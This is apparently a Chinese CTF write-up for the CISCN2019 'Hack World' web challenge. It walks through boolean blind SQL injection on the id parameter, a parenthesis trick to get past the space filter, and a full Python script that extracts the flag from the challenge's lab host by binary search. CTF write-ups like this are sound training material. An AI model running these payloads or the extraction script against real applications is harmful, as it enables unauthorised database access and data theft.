当前位置:网站首页>[CISCN2019 华北赛区 Day2 Web1]Hack World
[CISCN2019 华北赛区 Day2 Web1]Hack World
2022-06-23 09:14:00 【K00sec】
[CISCN2019 华北赛区 Day2 Web1]Hack World
打开页面给了一个提示,输入id查看页面,说明这里的参数就是 id 了。
输入 1,2,3 查看页面回显

输入 2 回显

输入 3 回显

发现输入3的时候回显错误提示,说明这里可能存在布尔或延时盲注。接着测试。
(这题做的是挺懵的,一开始测试延时可以用,后面发现用不了了就开始测试布尔盲注了)
测试发现 空格 被过滤了,/**/也不能使用,但是可以使用 () 绕过。


找到可以绕过的就没问题了。
# IF(expr,1,2) # 如果表达式 expr 结果为True 返回 1,否则返回 2;
id=if(length((select(database())))>0,1,2)
# 回显 Hello, glzjin wants a girlfriend.
id=if(length((select(database())))<0,1,2)
# 回显 Do you want to be my girlfriend?
仔细看看题目,上面提示了flag的位置。uuid 在表 flag 上的 flag 字段

# 构造payload
## flag的长度
id=if(length((select(flag)from(flag)))>$0$,1,0)
## flag值
id=if((ascii(substr((select(flag)from(flag)),$1$,1)))>=$0$,1,0)
## $x$ 为需要修改的地方
构造好了payload,先测试一些payload能不能使用,测试没问题就可以跑脚本了。

看了一些 witeup 发现大佬们都喜欢二分,可能因为二分比较快吧。所以我也使用遍历和二分结合爆破flag长度和值。
#!/usr/bin/env python3
# -*- encoding: UTF-8 -*-
import requests
import string
import time
class Sqlinject():
def __init__(self, url, keyword=None, len=127):
self._len = len
self._url = url
self._keyword = keyword
self._length = 0
self._flag = ''
# 爆破长度
def getlength(self, name, payload=None):
self._payload = payload
for len in range(self._len):
payload = self._payload % len
req = requests.post(self._url, data={
'id': payload})
if self._keyword in req.text:
self._length = len
print('%s_Length = %d.' % (name, self._length))
break
# 爆破flag
def getflag(self, payload=None):
self._payload = payload
for len in range(1, self._length + 1):
min = 33
max = 126
while (max > min):
mid = int((min + max + 1) / 2)
payload = self._payload % (len, mid)
req = requests.post(self._url, data={
'id': payload})
if self._keyword in req.text:
min = mid
else:
max = mid - 1
time.sleep(0.1)
self._flag += chr(max)
print('flag:%s' % self._flag)
if __name__ == '__main__':
urls = 'http://b4d3e7f9-4bfc-471b-b010-1ae76b609520.node4.buuoj.cn:81/index.php'
keywords = 'Hello, glzjin wants a girlfriend.'
strs = string.ascii_letters + string.digits + string.printable
inject = Sqlinject(urls, keywords)
# getlength(name, payload) 两个参数 一个是需要爆破位置的名字自定义就行只做打印显示用,另外一个是 payload 使用 双引号包裹,除了 length 之外其他方法只需要 payload 和需要被改变的位置
inject.getlength("flaglen", "if(length((select(flag)from(flag)))=%d,1,0)")
inject.getflag("if((ascii(substr((select(flag)from(flag)),%d,1)))>=%d,1,0)")
### 爆破一个flag的话 只需要用 getflag() 这个方法就行了,由于我也正在学习python 所以练练手,写的是一整个的盲注,数据库数据表爆破就没贴上来了。
注意位置

爆破到flag

边栏推荐
- The difference between ARM processor and 51 single chip microcomputer programming
- MySQL fault case | error 1071 (42000): specified key was too long
- MySQL fault case | mysqldump: couldn't execute 'select column_ NAME
- The sliding window of the force button "step by step" (209. sub array with the smallest length, 904. fruit basket)
- Redis learning notes - single key management
- Mysql 数据库入门总结
- Utilisation du cookie du module de demande de noeud
- 玩转NanoPi 2 裸机教程编程-01点亮User LED难点解析
- A method of realizing video call and interactive live broadcast in small programs
- 三层架构与SSM之间的对应关系
猜你喜欢

The sliding window of the force button "step by step" (209. sub array with the smallest length, 904. fruit basket)

ThinkPHP 2.x/3.0 漏洞复现

UEFI 源码学习4.1 - PciHostBridgeDxe
Redis学习笔记—数据类型:字符串(string)

JSP入门总结
![[cloud native | kubernetes] kubernetes principle and installation (II)](/img/db/dd93bbcac6d0404d44f67d2da12880.png)
[cloud native | kubernetes] kubernetes principle and installation (II)

【学习资源】理解数学和热爱数学

ionic5錶單輸入框和單選按鈕

S5P4418裸机编程的实现(替换2ndboot)

Custom tags - JSP tag enhancements
随机推荐
[nanopi2 trial experience] the first step of bare metal
Use of type dependent names must be prefixed with 'typename'
How to use matrix analysis to build your thinking scaffold in flowus, notation and other note taking software
Redis学习笔记—数据类型:字符串(string)
ARM处理器与51单片机程序编写的区别
位绑定
Mysql 数据库入门总结
AI: the Elephant in Room
Community article | mosn building subset optimization ideas sharing
MySQL fault case | error 1071 (42000): specified key was too long
进入小公司的初级程序员要如何自我提高?
Redis learning notes - data type: Set
36氪首发|云原生数据库公司「拓数派」完成新一轮战略融资,估值已达准独角兽级别
Combination sum II of leetcode topic analysis
Mqtt+flink to subscribe and publish real-time messages
Redis learning notes - geographic information location (GEO)
4sum of leetcode topic analysis
Redis学习笔记—遍历键
'coach, I want to play basketball!'—— AI Learning Series booklet for system students
670. Maximum Swap